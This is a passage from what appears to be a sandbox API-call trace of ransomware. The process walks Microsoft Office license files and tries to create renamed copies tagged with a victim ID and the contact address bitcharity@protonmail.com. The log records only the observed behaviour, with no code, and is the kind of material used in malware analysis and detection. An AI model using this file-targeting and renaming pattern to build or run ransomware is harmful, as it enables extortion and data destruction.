(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-pl.xrm-ms") returned 78 [0252.062] lstrlenW (lpString=".doc") returned 4 [0252.063] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.063] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.064] CloseHandle (hObject=0x1274) returned 1 [0252.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0252.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ppd.xrm-ms") returned 79 [0252.064] lstrlenW (lpString=".doc") returned 4 [0252.904] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.904] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.904] CloseHandle (hObject=0x1228) returned 1 [0252.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0252.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms") returned 77 [0252.905] lstrlenW (lpString=".doc") returned 4 [0252.906] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.906] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.906] CloseHandle (hObject=0x1228) returned 1 [0252.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0252.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms") returned 83 [0252.907] lstrlenW (lpString=".doc") returned 4 [0252.907] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.907] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.908] CloseHandle (hObject=0x1228) returned 1 [0252.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0252.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms") returned 89 [0252.909] lstrlenW (lpString=".doc") returned 4 [0252.914] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.915] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.915] CloseHandle (hObject=0x1228) returned 1 [0252.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0252.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms") returned 90 [0252.915] lstrlenW (lpString=".doc") returned 4 [0252.917] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.917] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.917] CloseHandle (hObject=0x1228) returned 1 [0252.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0252.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms") returned 93 [0252.918] lstrlenW (lpString=".doc") returned 4 [0252.919] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.919] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.919] CloseHandle (hObject=0x1228) returned 1 [0252.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0252.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms") returned 84 [0252.920] lstrlenW (lpString=".doc") returned 4 [0252.920] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.920] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.921] CloseHandle (hObject=0x1228) returned 1 [0252.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0252.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms") returned 85 [0252.921] lstrlenW (lpString=".doc") returned 4 [0252.922] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.922] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.922] CloseHandle (hObject=0x1228) returned 1 [0252.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0252.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ul-oob.xrm-ms") returned 88 [0252.923] lstrlenW (lpString=".doc") returned 4 [0252.924] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.924] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.924] CloseHandle (hObject=0x1228) returned 1 [0252.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0252.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-pl.xrm-ms") returned 85 [0252.924] lstrlenW (lpString=".doc") returned 4 [0252.925] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.925] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.926] CloseHandle (hObject=0x1228) returned 1 [0252.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0252.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ppd.xrm-ms") returned 86 [0252.926] lstrlenW (lpString=".doc") returned 4 [0252.927] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.927] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.927] CloseHandle (hObject=0x1228) returned 1 [0252.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0252.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0252.928] lstrlenW (lpString=".doc") returned 4 [0252.928] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.929] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.929] CloseHandle (hObject=0x1228) returned 1 [0252.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0252.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-pl.xrm-ms") returned 90 [0252.929] lstrlenW (lpString=".doc") returned 4 [0252.930] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.930] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.931] CloseHandle (hObject=0x1228) returned 1 [0252.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0252.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ppd.xrm-ms") returned 91 [0252.932] lstrlenW (lpString=".doc") returned 4 [0252.932] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.932] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprodemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.933] CloseHandle (hObject=0x1228) returned 1 [0252.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0252.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 94 [0252.933] lstrlenW (lpString=".doc") returned 4 [0252.936] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.937] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.937] CloseHandle (hObject=0x1228) returned 1 [0252.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0252.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-pl.xrm-ms") returned 82 [0252.937] lstrlenW (lpString=".doc") returned 4 [0252.938] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.938] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.938] CloseHandle (hObject=0x1228) returned 1 [0252.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0252.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ppd.xrm-ms") returned 83 [0252.938] lstrlenW (lpString=".doc") returned 4 [0252.939] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.939] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.939] CloseHandle (hObject=0x1228) returned 1 [0252.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0252.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-oob.xrm-ms") returned 86 [0252.940] lstrlenW (lpString=".doc") returned 4 [0252.940] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.940] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0252.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpromsdnr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.283] CloseHandle (hObject=0x1228) returned 1 [0253.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0253.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProMSDNR_Retail-ul-phn.xrm-ms") returned 86 [0253.283] lstrlenW (lpString=".doc") returned 4 [0253.284] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.284] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.285] CloseHandle (hObject=0x1228) returned 1 [0253.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms") returned 80 [0253.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-oob.xrm-ms") returned 80 [0253.285] lstrlenW (lpString=".doc") returned 4 [0253.286] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.286] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.287] CloseHandle (hObject=0x1228) returned 1 [0253.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms") returned 80 [0253.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdVL_MAK-ul-phn.xrm-ms") returned 80 [0253.287] lstrlenW (lpString=".doc") returned 4 [0253.288] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.288] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.288] CloseHandle (hObject=0x1228) returned 1 [0253.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 87 [0253.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-pl.xrm-ms") returned 87 [0253.288] lstrlenW (lpString=".doc") returned 4 [0253.289] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.289] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), 